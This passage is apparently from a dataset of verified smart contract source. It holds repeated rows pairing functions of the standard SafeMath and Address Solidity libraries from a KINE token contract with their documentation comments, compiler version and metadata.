* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
3224,
3574
]
} | 11,706 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
4026,
4161
]
} | 11,707 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
4675,
4846
]
} | 11,708 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | isContract | function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
606,
1230
]
} | 11,709 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | sendValue | function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
| /**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
2160,
2562
]
} | 11,710 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
| /**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
3318,
3496
]
} | 11,711 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
